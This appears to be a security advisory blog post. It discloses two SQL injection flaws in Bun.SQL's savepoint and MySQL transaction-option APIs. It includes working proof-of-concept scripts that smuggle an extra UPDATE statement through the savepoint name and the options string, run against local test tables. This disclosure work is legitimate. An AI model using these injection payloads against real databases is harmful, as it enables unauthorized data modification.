Post

Bun.SQL Transaction SQL Injection

Bun.SQL Transaction SQL Injection

I found these issues with the help of AI while reviewing Bun.SQL transaction handling.

I found two SQL injection vulnerabilities in Bun.SQL transaction APIs.

The issues are:

  1. tx.savepoint(callback, name) savepoint name injection
  2. sql.begin(options, fn) transaction options injection in MySQL

Both bugs come from concatenating user-controlled input into SQL command strings that are executed through unsafe query paths. If an attacker can influence these parameters, they can run arbitrary SQL in the current transaction context.

Potential impact includes:

  • data corruption
  • unauthorized data modification
  • data exfiltration depending on database permissions and runtime configuration

Finding 1: Savepoint Name Injection

Description

The savepoint API accepts a name parameter that is appended into savepoint SQL without strict validation:

https://github.com/oven-sh/bun/blob/01de0ecbd97117cc05afaad2066f06d8ff77d7f5/src/js/bun/sql.ts#L705-L712

1
const save_point_name = `s${savepoints++}${name ? `_${name}` : ""}`;

This name is used in:

  • SAVEPOINT <name>
  • RELEASE SAVEPOINT <name>
  • ROLLBACK TO SAVEPOINT <name>

Proof of Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// PoC for SQL injection via transaction savepoint name.
// Vulnerable call shape: tx.savepoint(callback, name)
// The `name` argument is interpolated into raw SQL without escaping.

const sql = new Bun.SQL("sqlite://:memory:");

await sql`CREATE TABLE accounts (id INTEGER PRIMARY KEY, balance INTEGER)`;
await sql`INSERT INTO accounts VALUES (1, 1000)`;

const before = (await sql`SELECT balance FROM accounts WHERE id = 1`)[0].balance;

await sql.begin(async tx => {
  await tx.savepoint(async () => {
    // No query is needed here; injection comes from the savepoint name.
  }, "x; UPDATE accounts SET balance = 777 WHERE id = 1");
});

const after = (await sql`SELECT balance FROM accounts WHERE id = 1`)[0].balance;

console.log(JSON.stringify({ before, after }));

if (after !== 777) {
  throw new Error("PoC did not trigger. Runtime may be patched or behavior differs by adapter/version.");
}

await sql.close();

Expected output when vulnerable:

1
{"before":1000,"after":777}

Why it works:

The payload is appended into SQL context as part of the savepoint identifier. A payload such as:

1
x; UPDATE accounts SET balance = 777 WHERE id = 1

can terminate the intended statement and inject a second one. The callback can remain empty because the injection runs before callback logic.

Finding 2: Transaction Options Injection (MySQL)

Description

sql.begin(options, fn) allows a free-form options string, used as:

1
START TRANSACTION <options>

In the MySQL adapter, this path did not enforce meaningful validation for malicious separators / extra statements:

https://github.com/oven-sh/bun/blob/01de0ecbd97117cc05afaad2066f06d8ff77d7f5/src/js/internal/sql/mysql.ts#L527-L541

Proof of Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// PoC for SQL injection via sql.begin(options, fn) on MySQL.
//
// Usage:
//   MYSQL_URL='mysql://root:password@127.0.0.1:3306/bun_sql_test' \
//   bun begin-options-sqli.poc.ts
//
// What this checks:
//   If begin(options) is safely handled, balance should remain 1000.
//   If injected SQL executes, balance becomes 999.

const url = process.env.MYSQL_URL;

if (!url) {
  throw new Error("Set MYSQL_URL first. Example: mysql://root:password@127.0.0.1:3306/bun_sql_test");
}

const sql = new Bun.SQL({ url, adapter: "mysql", max: 1 });
const table = `poc_begin_options_sqli_${Date.now()}`;

try {
  await sql`DROP TABLE IF EXISTS ${sql(table)}`;
  await sql`CREATE TABLE ${sql(table)} (id INT PRIMARY KEY, balance INT)`;
  await sql`INSERT INTO ${sql(table)} VALUES (1, 1000)`;

  const before = (await sql`SELECT balance FROM ${sql(table)} WHERE id = 1`)[0].balance;

  const payload = `READ WRITE; UPDATE ${table} SET balance = 999 WHERE id = 1`;

  await sql.begin(payload, async () => {
    // no-op
  });

  const after = (await sql`SELECT balance FROM ${sql(table)} WHERE id = 1`)[0].balance;

  console.log(JSON.stringify({ before, after, payload }));

  if (after !== 999) {
    throw new Error(
      "Injection did not trigger. This can mean runtime is patched, server blocks multi-statements, or payload needs adapter-specific tuning.",
    );
  }
} finally {
  await sql`DROP TABLE IF EXISTS ${sql(table)}`.catch(() => {});
  await sql.close();
}

Expected output when vulnerable:

1
{"before":1000,"after":999}

The payload appends an extra statement after START TRANSACTION options. If multiple statements are accepted in that execution path, the injected UPDATE runs before user callback logic.

Security Impact

These are transaction-context SQL injections in framework-level APIs. Even if exploitation constraints differ by adapter / database settings, unsafe construction of SQL control statements is high risk.

Disclosure Note

Behavior can vary depending on Bun version, database adapter, and server-level multi-statement settings. If your PoC does not trigger, verify exact runtime commit, adapter, and SQL server configuration first. Both issues were reported to the maintainer.

This post is licensed under CC BY 4.0 by the author.